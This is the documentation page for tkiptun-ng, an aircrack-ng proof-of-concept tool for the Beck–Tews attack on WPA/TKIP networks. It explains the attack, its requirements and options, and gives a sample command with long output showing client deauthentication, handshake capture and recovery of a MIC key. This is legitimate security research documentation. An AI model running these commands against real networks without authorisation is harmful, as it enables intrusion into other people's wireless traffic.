Tkiptun-ng

Description

NOTE: This documentation is still under development. Please check back on a regular basis to obtain the latest updates. If you have any feedback on the documentation, please post your comments to the Forum.

IMPORTANT NOTE: The tkiptun-ng included in v1.0 is not fully working. The final attack phase is not yet implemented. The other portions are working with the ieee80211 drivers for RT73 and RTL8187L chipsets. The madwifi-ng driver is definitely broken and is known to completely fail. tkiptun-ng may work with other drivers but has not been tested so your mileage may vary.

Tkiptun-ng is a tool created by Martin Beck aka hirte, a member of aircrack-ng team. This tool is able to inject a few frames into a WPA TKIP network with QoS. He worked with Erik Tews (who created PTW attack) for a conference in PacSec 2008: “Gone in 900 Seconds, Some Crypto Issues with WPA”.

Tkiptun-ng is the proof-of-concept implementation the WPA/TKIP attack. This attack is described in the paper, Practical attacks against WEP and WPA written by Martin Beck and Erik Tews. The paper describes advanced attacks on WEP and the first practical attack on WPA. An additional excellent references explaining how tkiptun-ng does its magic is this ars technica article Battered, but not broken: understanding the WPA crack by Glenn Fleishman.

Basically tkiptun-ng starts by obtaining the plaintext of a small packet and the MIC (Message Integrity Check). This is done via chopchop-type method. Once this is done, the MICHAEL algorithm is reversed the MIC key used to protect packets being sent from the AP to the client can be calculated.

At this point, tkiptun-ng has recovered the MIC key and knows a keystram for access point to client communication. Subsequently, using the XOR file, you can create new packets and inject them. The creation and injection are done using the other aircrack-ng suite tools.

Cryptanalysis of IEEE 802.11i TKIP by Finn Michael Halvorsen and Olav Haugen, June 2009 provides an excellent detailed description of how tkiptun-ng works. As well, their paper includes detailed descriptions of many other attacks against WEP/WPA/WPA2.

Please remember this is an extremely advanced attack. You must possess advanced linux and aircrack-ng skills to use this tool. DO NOT EXPECT support unless you can demonstrate you have these skills. Novices will NOT BE SUPPORTED.

General Requirements

Both the AP and the client must support QoS or sometimes called Wi-Fi Multi-media (WMM) on some APs.

The AP must be configured for WPA plus TKIP.

A fairly long rekeying time must be in use such as 3600 seconds. It should be at least 20 minutes.

Specific Requirements

The network card MAC address used by tkiptun-ng needs to be set to the MAC address of the client you are attacking.

Why?

This section is very preliminary. As tkiptun-ng works, it goes through various phases. People ask “Why is such and such done?”. This section attempts to answer those questions.

Question:
Why is the handshake gathered?

Answer:
It is done for debugging reasons. First, so that the temporal keys in tkiptun can be calculated. Second, check them against the calculated values from the plaintext packet.

Another reason, is to check if the AP/client reuses the nonces after a mic shutdown.

Usage

Usage: tkiptun-ng <options> <replay interface>

Filter options:

  • -d dmac : MAC address, Destination
  • -s smac : MAC address, Source
  • -m len : minimum packet length
  • -n len : maximum packet length
  • -t tods : frame control, To DS bit
  • -f fromds : frame control, From DS bit
  • -D : disable AP detection

Replay options:

  • -x nbpps : number of packets per second
  • -a bssid : set Access Point MAC address
  • -c dmac : set Destination MAC address
  • -h smac : set Source MAC address
  • -F : choose first matching packet
  • -e essid : set target AP SSID

Debug options:

  • -K prga : keystream for continuation
  • -y file : keystream-file for continuation
  • -j : inject FromDS packets
  • -P pmk : pmk for verification/vuln testing
  • -p psk : psk to calculate pmk with essid

Source options:

  • -i iface : capture packets from this interface
  • -r file : extract packets from this pcap file
  • -help : Displays this usage screen

Usage Examples

The example below is incomplete but it gives some idea of how it looks.

Input:

 tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 rausb0

Output:

 The interface MAC (00:0E:2E:C5:81:D3) doesn't match the specified MAC (-h).
      ifconfig rausb0 hw ether 00:0F:B5:AB:CB:9D
 Blub 2:38 E6 38 1C 24 15 1C CF 
 Blub 1:17 DD 0D 69 1D C3 1F EE 
 Blub 3:29 31 79 E7 E6 CF 8D 5E 
 15:06:48  Michael Test: Successful
 15:06:48  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
 15:06:48  Found specified AP
 15:06:48  Sending 4 directed DeAuth. STMAC: 
[00:0F:B5:AB:CB:9D] [ 0| 0 ACKs] 15:06:54 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 0| 0 ACKs] 15:06:56 WPA handshake: 00:14:6C:7E:40:80 captured 15:06:56 Waiting for an ARP packet coming from the Client... Saving chosen packet in replay_src-0305-150705.cap 15:07:05 Waiting for an ARP response packet coming from the AP... Saving chosen packet in replay_src-0305-150705.cap 15:07:05 Got the answer! 15:07:05 Waiting 10 seconds to let encrypted EAPOL frames pass without interfering. 15:07:25 Offset 99 ( 0% done) | xor = B3 | pt = D3 | 103 frames written in 84468ms 15:08:32 Offset 98 ( 1% done) | xor = AE | pt = 80 | 64 frames written in 52489ms 15:09:45 Offset 97 ( 3% done) | xor = DE | pt = C8 | 131 frames written in 107407ms 15:11:05 Offset 96 ( 5% done) | xor = 5A | pt = 7A | 191 frames written in 156619ms 15:12:07 Offset 95 ( 6% done) | xor = 27 | pt = 02 | 21 frames written in 17221ms 15:13:11 Offset 94 ( 8% done) | xor = D8 | pt = AB | 41 frames written in 33625ms 15:14:12 Offset 93 (10% done) | xor = 94 | pt = 62 | 13 frames written in 10666ms 15:15:24 Offset 92 (11% done) | xor = DF | pt = 68 | 112 frames written in 91829ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:18:13 Offset 91 (13% done) | xor = A1 | pt = E1 | 477 frames written in 391139ms 15:19:32 Offset 90 (15% done) | xor = 5F | pt = B2 | 186 frames written in 152520ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:22:09 Offset 89 (16% done) | xor = 9C | pt = 77 | 360 frames written in 295200ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:26:10 Offset 88 (18% done) | xor = 0D | pt = 3E | 598 frames written in 490361ms 15:27:33 Offset 87 (20% done) | xor = 8C | pt = 00 | 230 frames written in 188603ms 15:28:38 Offset 86 (21% done) | xor = 67 | pt = 00 | 47 frames written in 38537ms 15:29:53 Offset 85 (23% done) | xor = AD | pt = 00 | 146 frames written in 119720ms 15:31:16 Offset 84 (25% done) | xor = A3 | pt = 00 | 220 frames written in 180401ms 15:32:23 Offset 83 (26% done) | xor = 28 | pt = 00 | 75 frames written in 61499ms 15:33:38 Offset 82 (28% done) | xor = 7C | pt = 00 | 141 frames written in 115619ms 15:34:40 Offset 81 (30% done) | xor = 02 | pt = 00 | 19 frames written in 15584ms 15:35:57 Offset 80 (31% done) | xor = C9 | pt = 00 | 171 frames written in 140221ms 15:37:13 Offset 79 (33% done) | xor = 38 | pt = 00 | 148 frames written in 121364ms 15:38:21 Offset 78 (35% done) | xor = 71 | pt = 00 | 84 frames written in 68872ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:40:55 Offset 77 (36% done) | xor = 8E | pt = 00 | 328 frames written in 268974ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:43:31 Offset 76 (38% done) | xor = 38 | pt = 00 | 355 frames written in 291086ms 15:44:37 Offset 75 (40% done) | xor = 79 | pt = 00 | 61 frames written in 50021ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:47:05 Offset 74 (41% done) | xor = 59 | pt = 00 | 269 frames written in 220581ms 15:48:30 Offset 73 (43% done) | xor = 14 | pt = 00 | 249 frames written in 204178ms 15:49:49 Offset 72 (45% done) | xor = 9A | pt = 00 | 183 frames written in 150059ms Looks like mic failure report was not detected. Waiting 60 seconds before trying again to avoid the AP shutting down. 15:52:32 Offset 71 (46% done) | xor = 03 | pt = 00 | 420 frames written in 344400ms 15:53:57 Offset 70 (48% done) | xor = 0E | pt = 00 | 239 frames written in 195980ms Sleeping for 60 seconds.36 bytes still unknown ARP Reply Checking 192.168.x.y 15:54:11 Reversed MIC Key (FromDS): C3:95:10:04:8F:8D:6C:66 Saving plaintext in replay_dec-0305-155411.cap Saving keystream in replay_dec-0305-155411.xor 15:54:11 Completed in 2816s (0.02 bytes/s) 15:54:11 AP MAC: 00:40:F4:77:F0:9B IP: 192.168.21.42 15:54:11 Client MAC: 00:0F:B5:AB:CB:9D IP: 192.168.21.112 15:54:11 Sent encrypted tkip ARP request to the client. 15:54:11 Wait for the mic countermeasure timeout of 60 seconds.

Usage Tips

None at this time.

Usage Troubleshooting

None at this time.